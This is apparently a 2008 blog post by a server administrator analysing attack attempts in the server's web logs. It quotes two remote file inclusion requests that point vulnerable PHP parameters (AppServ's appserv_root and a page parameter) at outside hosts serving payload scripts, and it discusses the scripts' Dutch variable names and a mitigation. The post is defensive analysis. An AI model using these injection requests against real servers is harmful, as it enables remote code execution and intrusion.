A lot of scripts are being let loose on the webserver at the moment. Here is a selection from the web logs..
(For a list of all recent attacks on the server go look here.)
18.104.22.168 - - [28/Jan/2008:13:10:52 +0000] "GET /appserv/main.php?appserv_root=http://22.214.171.124/retiredgod/a.txt?& HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
A quick look at the webserver at 126.96.36.199 shows that the directory retiredgod contains two files: a.txt and t.txt. The below is a.txt. In other words, should customer at valueserver.de have had any success with the proxy request, this would have been the result.
And with this success obtained, no doubt t.txt would have been let loose: (click here to skip to the end of this seriously long bit of code)
pro-hack.ru huh? The application this is targeting has an /appserv/ directory which contains a vulnerable php script by the looks of it. My thinking here is this might be related to AppServ...
From the website: ( http://www.appservnetwork.com/modules.php?name=Content&pa=showpage&pid=7 )
|AppServ the begining. |
AppServ is not support by Thai Goverment or Corporation but this program was inspire by Phanupong Panyadee (AppServ Foundation). Concept of AppServ it is Easy to install Apache, PHP, MySQL in 1 minute. Many people in this world have problem when Install Apache, PHP, MySQL becuase use long time to configure and some time can make dizzy. First time of distribution provide on October 9, 2001. Many people use AppServ and growing up everywhere in this world. Right now AppServ website provide in Thai and English language. For the future AppServ wet site will provide every languages on world.
My first language isn't English either, but this made me laugh a little. I want to go to the planet where people don't have any problem when install Apache. Bit of weirdness there as well: whilst they recommend linux, the only download I can find is a windows executable. Oh well. Maybe because you don't need this thing on linux?
"Solution: Currently, there are no known upgrades, patches, or workarounds available to correct this issue."
(source: http://osvdb.org/22228 )
That's just brilliant. I am tempted to set this thing up to see what they would want to do given such access levels, but that would mean major reorganisation which I haven't got the time for at the moment.
Hang on, it just struck me that there must be a solution... The vulnerability is exploited within the /appserv/ directory, but it says on the AppServ website you can delete that after installation. Maybe that would help?
|Directory structure of www file store. |
• www Directory Root for Web page file.
• www/cgi-bin CGI file directory.
• www/phpMyAdmin phpMyAdmin program directory.
• www/appserv AppServ file, you can delete it after install.
• www/index.php AppServ index.php file you can delete it after install.
2. php redirection/code injection/whatever this is
188.8.131.52 - - [28/Jan/2008:11:59:52 +0000] "GET /index.php?page=http://www.pooya.info/images/.../test.txt??? HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1"
Here we have some random php vulnerability. This scheme is being tried in random directories on my server. All of them attempt to retrieve test.txt which reads: (and it's nowhere near as big as the last one)
Well there's some similarity with the "test.txt" but this one has some added bits, and they're in Dutch. This is quite good really as this happens to be my native tongue. It might have been Russian, Romanian or Rastafarian and I would not have known what it said. Approximately twice a year it comes in handy to know Dutch, and this is one of those times already used up for 2008... Hopefully email@example.com won't mind if I say that roughly translated
$jaenwiemoethemdanontvangenhe means "yes and who should receive it now huh"; $enwelkonderwerpmoethethebben means "and what subject should it have", $ennatuurlijkmoetenwedeurlnietvergeten means "and of course we must not forget the url" and last but not least $hewehebbenooknoginfo means "hey we also have some info". Wonderful, no? I am still left with strings of nonsense letters & numbers after the slashes, so I'm obviously not done yet. Unless these are just sequences of random nonsense aimed at obfuscation. After all, they're comments, so they don't get evaluated. Maybe I should mail this adventure-crazy jan and ask him?
Oh and credit where it's due: I did not use pencil and paper to decode the base64 stuff. A beautiful decoder can be found here: http://makcoder.sourceforge.net/demo/base64.php. This one didn't fall over once, unlike some others I tried...